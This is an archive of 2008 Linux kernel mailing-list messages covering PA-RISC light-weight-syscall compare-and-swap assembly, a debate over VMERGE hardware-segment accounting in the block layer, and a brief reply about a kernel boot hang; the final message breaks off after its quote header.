I want to keep r19 and r27 for userspace so the PIC register doesn't
have to be saved and restored in the asm (linux-atomic.c is compiled
as PIC code).  You can have r29.

That leaves three free registers for the LWS code: r22, r23 and r29.
The LWS ABI has r1, r20-r26 and r28-r31.  Userspace has two call-clobbered
registers free across the asm in PIC code, and three in non-PIC code.
That's enough to efficiently perform the error comparisons.

The asm would be more efficient if the registers used for lws_mem,
lws_old and lws_new were not written to.  This occurs only for the
call in the 32-bit runtime with a 64-bit kernel.  As it stands,
the lws_mem, lws_old and lws_new arguments get reloaded every time
around the EAGAIN loop.  This is the crucial code in the compare
and swap:

        /* The load and store could fail */
1:      ldw     0(%sr3,%r26), %r28
	sub,<>  %r28, %r25, %r0
2:      stw     %r24, 0(%sr3,%r26)

The sub,<> instruction uses a 32-bit compare/subtract condition, so
the clipping of r25 isn't necessary.  Similarly, the stw instruction
ignores the most significant 32-bits of r24.  The value in r26 needs
clipping but you have three free registers, and it looks like r1 is
also free at this point in the code.  You can deposit the least
significant 32-bits of r26 into a field of zeros in another register
in one instruction.

It looks like lws_compare_and_swap64 and lws_compare_and_swap32 become
more or less functionally identical.  The above would become something
like:

#ifdef CONFIG_64BIT
	depd,z	%r26,63,32,%r1
1:      ldw     0(%sr3,%r1), %r28
        sub,<>  %r28, %r25, %r0
2:      stw     %r24, 0(%sr3,%r1)
#else
1:      ldw     0(%sr3,%r26), %r28
        sub,<>  %r28, %r25, %r0
2:      stw     %r24, 0(%sr3,%r26)
#endif

The argument clipping in the current code would be removed.  As a result,
the branch to lws_compare_and_swap can be eliminated in the 64-bit path.

It's my impression that the tightness of the loop for the compare/exchange
operation is important.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in blk_recalc_rq_segments
 about VMERGE
Date: Wed, 16 Jul 2008 14:02:27 -0400 (EDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0807161359001.30207@devserv.devel.redhat.com>
References: <Pine.LNX.4.64.0807151033040.25390@devserv.devel.redhat.com>
 <20080716003047P.fujita.tomonori@lab.ntt.co.jp>
 <Pine.LNX.4.64.0807151143050.29803@devserv.devel.redhat.com>
 <20080716093456J.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1216231432 11421 80.91.229.12 (16 Jul 2008 18:03:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Jul 2008 18:03:52 +0000 (UTC)
Cc: jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, davem@davemloft.net,
	linux-parisc@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-scsi-owner@vger.kernel.org Wed Jul 16 20:04:39 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KJBMM-00061X-4F
	for lnx-linux-scsi@gmane.org; Wed, 16 Jul 2008 20:04:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752809AbYGPSDR (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Wed, 16 Jul 2008 14:03:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752828AbYGPSDR
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Wed, 16 Jul 2008 14:03:17 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:33262 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751763AbYGPSDQ (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Wed, 16 Jul 2008 14:03:16 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m6GI2VcD018567;
	Wed, 16 Jul 2008 14:02:31 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m6GI2Uhl003572;
	Wed, 16 Jul 2008 14:02:30 -0400
Original-Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [10.10.36.72])
	by file.rdu.redhat.com (8.13.1/8.13.1) with ESMTP id m6GI2Uid024284;
	Wed, 16 Jul 2008 14:02:30 -0400
Original-Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1])
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id m6GI2ULu030927;
	Wed, 16 Jul 2008 14:02:30 -0400
Original-Received: from localhost (mpatocka@localhost)
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11/Submit) with ESMTP id m6GI2RGq030921;
	Wed, 16 Jul 2008 14:02:30 -0400
X-Authentication-Warning: devserv.devel.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@devserv.devel.redhat.com
In-Reply-To: <20080716093456J.fujita.tomonori@lab.ntt.co.jp>
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43224 gmane.linux.kernel:707705 gmane.linux.ports.parisc:515
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/515>

On Wed, 16 Jul 2008, FUJITA Tomonori wrote:

> On Tue, 15 Jul 2008 11:46:46 -0400 (EDT)
> Mikulas Patocka <mpatocka@redhat.com> wrote:
> 
> > >> Even if we fix it now, the question is: how long it will stay fixed? Until
> > >> someone makes another change to struct device that restricts boundaries on
> > >> some wacky hardware.
> > >
> > > I'm not sure how the boundary restriction of a device can break
> > > the VMERGE accounting.
> > 
> > Because block layer code doesn't know anything about the device, pci 
> > access restrictions and so on.
> 
> Not true, the block layer knows about the device restrictions like DMA
> boundary.
> 
> But it's not the point here because the boundary restriction doesn't
> matter for the VMERGE accounting. An IOMMU just returns an error if it
> can't allocate an I/O space fit for the device restrictions.
> 
> 
> Please give me an example how the boundary restriction of a device can
> break the VMERGE accounting and an IOMMU if you aren't still sure.

You have dma_get_seg_boundary and dma_get_max_seg_size. On sparc64, adding 
one of these broken VMERGE accounting (the VMERGE didn't happen past 64-kb 
boundary and bio layer thought that VMERGE would be possible).

And if you fix this case, someone will break it again, sooner or later, by 
adding new restriction.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 64bit kernel not booting with CONFIG_PRINTK_TIME=y
Date: Wed, 16 Jul 2008 14:56:27 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20080716185627.GC22716@phobos.i.cabal.ca>
References: <20080716204552.56270e7c@tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1216234615 22825 80.91.229.12 (16 Jul 2008 18:56:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Jul 2008 18:56:55 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 16 20:57:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KJCBn-0001Cy-C0
	for glpp-linux-parisc@gmane.org; Wed, 16 Jul 2008 20:57:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753968AbYGPS43 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Jul 2008 14:56:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754113AbYGPS42
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 16 Jul 2008 14:56:28 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:49030 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753725AbYGPS42 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Jul 2008 14:56:28 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 3A59B17806A; Wed, 16 Jul 2008 14:56:27 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080716204552.56270e7c@tuxicoman.be>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:516 gmane.linux.kernel:707722
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/516>

On Wed, Jul 16, 2008 at 08:45:52PM +0200, Guy Martin wrote:
> 
> This is the output of my L2000 when trying to do so :
> 
> Information: No console specified on kernel command line. This is
> normal. PALO will choose the console currently used by firmware
> (serial). Command line for kernel: 'root=/dev/md1 console=ttyS0
> palo_kernel=2/vmlinux' Selected kernel: /vmlinux from partition 2
> ELF64 executable
> Entry 00100000 first 00100000 n 2
> Segment 0 load 00100000 size 4997120 mediaptr 0x1000
> Segment 1 load 00634000 size 640576 mediaptr 0x4c5000
> Branching to kernel entry point 0x00100000.  If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at parisc-linux.org
> 

Wrong mailing list. :)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
 blk_recalc_rq_segments about VMERGE
Date: Thu, 17 Jul 2008 13:14:18 +0900
Lines: 50
Approved: news@gmane.org
Message-ID: <20080717131444K.fujita.tomonori@lab.ntt.co.jp>
References: <Pine.LNX.4.64.0807151143050.29803@devserv.devel.redhat.com>
	<20080716093456J.fujita.tomonori@lab.ntt.co.jp>
	<Pine.LNX.4.64.0807161359001.30207@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216268099 18145 80.91.229.12 (17 Jul 2008 04:14:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2008 04:14:59 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org, linux-scsi@vger.kernel.org,
	davem@davemloft.net, linux-parisc@vger.kernel.org
To: mpatocka@redhat.com
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 17 06:15:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KJKu9-0004sX-OT
	for glpp-linux-parisc@gmane.org; Thu, 17 Jul 2008 06:15:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750930AbYGQEOu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Jul 2008 00:14:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750850AbYGQEOu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Jul 2008 00:14:50 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:53615 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750749AbYGQEOt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Jul 2008 00:14:49 -0400
Original-Received: from localhost (viola.osrg.net [10.76.0.4])
	by sh.osrg.net (8.13.8/8.13.8/OSRG-NET) with ESMTP id m6H4EIbZ029683;
	Thu, 17 Jul 2008 13:14:18 +0900
In-Reply-To: <Pine.LNX.4.64.0807161359001.30207@devserv.devel.redhat.com>
Original-Lines: 45
X-Virus-Scanned: ClamAV 0.93.1/2691/Fri Mar  2 08:24:05 2007 on sh.osrg.net
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:517 gmane.linux.kernel:707900 gmane.linux.scsi:43248
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/517>

On Wed, 16 Jul 2008 14:02:27 -0400 (EDT)
Mikulas Patocka <mpatocka@redhat.com> wrote:

> On Wed, 16 Jul 2008, FUJITA Tomonori wrote:
> 
> > On Tue, 15 Jul 2008 11:46:46 -0400 (EDT)
> > Mikulas Patocka <mpatocka@redhat.com> wrote:
> > 
> > > >> Even if we fix it now, the question is: how long it will stay fixed? Until
> > > >> someone makes another change to struct device that restricts boundaries on
> > > >> some wacky hardware.
> > > >
> > > > I'm not sure how the boundary restriction of a device can break
> > > > the VMERGE accounting.
> > > 
> > > Because block layer code doesn't know anything about the device, pci 
> > > access restrictions and so on.
> > 
> > Not true, the block layer knows about the device restrictions like DMA
> > boundary.
> > 
> > But it's not the point here because the boundary restriction doesn't
> > matter for the VMERGE accounting. An IOMMU just returns an error if it
> > can't allocate an I/O space fit for the device restrictions.
> > 
> > 
> > Please give me an example how the boundary restriction of a device can
> > break the VMERGE accounting and an IOMMU if you aren't still sure.
> 
> You have dma_get_seg_boundary and dma_get_max_seg_size. On sparc64, adding 
> one of these broken VMERGE accounting (the VMERGE didn't happen past 64-kb 
> boundary and bio layer thought that VMERGE would be possible).

If the device has 64KB boundary restriction, the device also has
max_seg_size restriction of 64KB or under. So the vmerge acounting
works (though we need to fix it to handle max_seg_size, as discussed).


> And if you fix this case, someone will break it again, sooner or later, by 
> adding new restriction.

What is your new restriction?

All restrictions that IOMMUs need to know are dma_get_seg_boundary and
dma_get_max_seg_size.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in blk_recalc_rq_segments
 about VMERGE
Date: Thu, 17 Jul 2008 07:50:24 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0807170746001.31185@devserv.devel.redhat.com>
References: <Pine.LNX.4.64.0807151143050.29803@devserv.devel.redhat.com>
 <20080716093456J.fujita.tomonori@lab.ntt.co.jp>
 <Pine.LNX.4.64.0807161359001.30207@devserv.devel.redhat.com>
 <20080717131444K.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1216295460 30326 80.91.229.12 (17 Jul 2008 11:51:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2008 11:51:00 +0000 (UTC)
Cc: jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, davem@davemloft.net,
	linux-parisc@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-scsi-owner@vger.kernel.org Thu Jul 17 13:51:48 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KJS1N-0007vy-1N
	for lnx-linux-scsi@gmane.org; Thu, 17 Jul 2008 13:51:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753904AbYGQLup (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Thu, 17 Jul 2008 07:50:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754496AbYGQLup
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Thu, 17 Jul 2008 07:50:45 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:32818 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753904AbYGQLun (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Thu, 17 Jul 2008 07:50:43 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m6HBoQNh032694;
	Thu, 17 Jul 2008 07:50:26 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m6HBoPSW025403;
	Thu, 17 Jul 2008 07:50:25 -0400
Original-Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [10.10.36.72])
	by file.rdu.redhat.com (8.13.1/8.13.1) with ESMTP id m6HBoPfp002442;
	Thu, 17 Jul 2008 07:50:25 -0400
Original-Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1])
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id m6HBoPhh031505;
	Thu, 17 Jul 2008 07:50:25 -0400
Original-Received: from localhost (mpatocka@localhost)
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11/Submit) with ESMTP id m6HBoOAL031501;
	Thu, 17 Jul 2008 07:50:25 -0400
X-Authentication-Warning: devserv.devel.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@devserv.devel.redhat.com
In-Reply-To: <20080717131444K.fujita.tomonori@lab.ntt.co.jp>
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43266 gmane.linux.kernel:708058 gmane.linux.ports.parisc:518
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/518>

> > > Please give me an example how the boundary restriction of a device can
> > > break the VMERGE accounting and an IOMMU if you aren't still sure.
> > 
> > You have dma_get_seg_boundary and dma_get_max_seg_size. On sparc64, adding 
> > one of these broken VMERGE accounting (the VMERGE didn't happen past 64-kb 
> > boundary and bio layer thought that VMERGE would be possible).
> 
> If the device has 64KB boundary restriction, the device also has
> max_seg_size restriction of 64KB or under. So the vmerge acounting
> works (though we need to fix it to handle max_seg_size, as discussed).
> 
> > And if you fix this case, someone will break it again, sooner or later, by 
> > adding new restriction.
> 
> All restrictions that IOMMUs need to know are dma_get_seg_boundary and
> dma_get_max_seg_size.
> 
> What is your new restriction?

We don't know what happens in the future. And that is the problem that we 
don't know --- but we have two pieces of code (blk-merge and iommu) that 
try to calculate the same number (number of hw segments) and if they get 
different result, it will crash. If the calculations were done at one 
place, there would be no problem with that.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
 blk_recalc_rq_segments about VMERGE
Date: Thu, 17 Jul 2008 22:18:44 +0900
Lines: 52
Approved: news@gmane.org
Message-ID: <20080717221908D.fujita.tomonori@lab.ntt.co.jp>
References: <Pine.LNX.4.64.0807161359001.30207@devserv.devel.redhat.com>
	<20080717131444K.fujita.tomonori@lab.ntt.co.jp>
	<Pine.LNX.4.64.0807170746001.31185@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216300840 18142 80.91.229.12 (17 Jul 2008 13:20:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2008 13:20:40 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org, linux-scsi@vger.kernel.org,
	davem@davemloft.net, linux-parisc@vger.kernel.org
To: mpatocka@redhat.com
Original-X-From: linux-scsi-owner@vger.kernel.org Thu Jul 17 15:21:28 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KJTQE-00039n-AC
	for lnx-linux-scsi@gmane.org; Thu, 17 Jul 2008 15:21:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753899AbYGQNUa (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Thu, 17 Jul 2008 09:20:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754249AbYGQNUa
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Thu, 17 Jul 2008 09:20:30 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:54376 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753899AbYGQNU3 (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Thu, 17 Jul 2008 09:20:29 -0400
Original-Received: from localhost (viola.osrg.net [10.76.0.4])
	by sh.osrg.net (8.13.8/8.13.8/OSRG-NET) with ESMTP id m6HDIiJA001415;
	Thu, 17 Jul 2008 22:18:44 +0900
In-Reply-To: <Pine.LNX.4.64.0807170746001.31185@devserv.devel.redhat.com>
Original-Lines: 47
X-Virus-Scanned: ClamAV 0.93.1/2691/Fri Mar  2 08:24:05 2007 on sh.osrg.net
X-Virus-Status: Clean
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43267 gmane.linux.kernel:708080 gmane.linux.ports.parisc:519
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/519>

On Thu, 17 Jul 2008 07:50:24 -0400 (EDT)
Mikulas Patocka <mpatocka@redhat.com> wrote:

> > > > Please give me an example how the boundary restriction of a device can
> > > > break the VMERGE accounting and an IOMMU if you aren't still sure.
> > > 
> > > You have dma_get_seg_boundary and dma_get_max_seg_size. On sparc64, adding 
> > > one of these broken VMERGE accounting (the VMERGE didn't happen past 64-kb 
> > > boundary and bio layer thought that VMERGE would be possible).
> > 
> > If the device has 64KB boundary restriction, the device also has
> > max_seg_size restriction of 64KB or under. So the vmerge acounting
> > works (though we need to fix it to handle max_seg_size, as discussed).
> > 
> > > And if you fix this case, someone will break it again, sooner or later, by 
> > > adding new restriction.
> > 
> > All restrictions that IOMMUs need to know are dma_get_seg_boundary and
> > dma_get_max_seg_size.
> > 
> > What is your new restriction?
> 
> We don't know what happens in the future.

It's very unlikely to add new restrictions.


> And that is the problem that we 
> don't know --- but we have two pieces of code (blk-merge and iommu) that 
> try to calculate the same number (number of hw segments) and if they get 
> different result, it will crash. If the calculations were done at one 
> place, there would be no problem with that.

I don't think that your argument, 'the problem that we don't know', is
true.

With the vmerge accounting, we calculate at two places. So if we add
a new restriction, we need to handle it at two places. It's a logical
result.

Of course, it's easier to calculate at one place rather than two
places. But 'we don't know what restriction we will need' isn't a
problem.


BTW, as I've already said, I'm not against removing the vmerge
accounting from the block layer.
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boaz Harrosh <bharrosh@panasas.com>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in blk_recalc_rq_segments
 about VMERGE
Date: Thu, 17 Jul 2008 16:27:19 +0300
Lines: 56
Approved: news@gmane.org
Message-ID: <487F48B7.3010807@panasas.com>
References: <Pine.LNX.4.64.0807161359001.30207@devserv.devel.redhat.com>	<20080717131444K.fujita.tomonori@lab.ntt.co.jp>	<Pine.LNX.4.64.0807170746001.31185@devserv.devel.redhat.com> <20080717221908D.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216301331 19794 80.91.229.12 (17 Jul 2008 13:28:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Jul 2008 13:28:51 +0000 (UTC)
Cc: mpatocka@redhat.com, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org, linux-scsi@vger.kernel.org,
	davem@davemloft.net, linux-parisc@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-scsi-owner@vger.kernel.org Thu Jul 17 15:29:38 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KJTY8-0006A4-BZ
	for lnx-linux-scsi@gmane.org; Thu, 17 Jul 2008 15:29:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756490AbYGQN2f (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Thu, 17 Jul 2008 09:28:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756319AbYGQN2f
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Thu, 17 Jul 2008 09:28:35 -0400
Original-Received: from gw-colo-pa.panasas.com ([66.238.117.130]:14773 "EHLO
	natasha.panasas.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1755492AbYGQN2e (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>); Thu, 17 Jul 2008 09:28:34 -0400
Original-Received: from daytona.int.panasas.com (daytona.int.panasas.com [172.17.28.41])
	by natasha.panasas.com (8.13.1/8.13.1) with ESMTP id m6HDRbh3022409;
	Thu, 17 Jul 2008 09:27:37 -0400
Original-Received: from bh-buildlin2.bhalevy.com ([172.17.28.136]) by daytona.int.panasas.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Thu, 17 Jul 2008 09:26:49 -0400
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080717221908D.fujita.tomonori@lab.ntt.co.jp>
X-OriginalArrivalTime: 17 Jul 2008 13:26:49.0889 (UTC) FILETIME=[C4CC1910:01C8E810]
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43268 gmane.linux.kernel:708084 gmane.linux.ports.parisc:520
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/520>

FUJITA Tomonori wrote:
> On Thu, 17 Jul 2008 07:50:24 -0400 (EDT)
> Mikulas Patocka <mpatocka@redhat.com> wrote:
> 
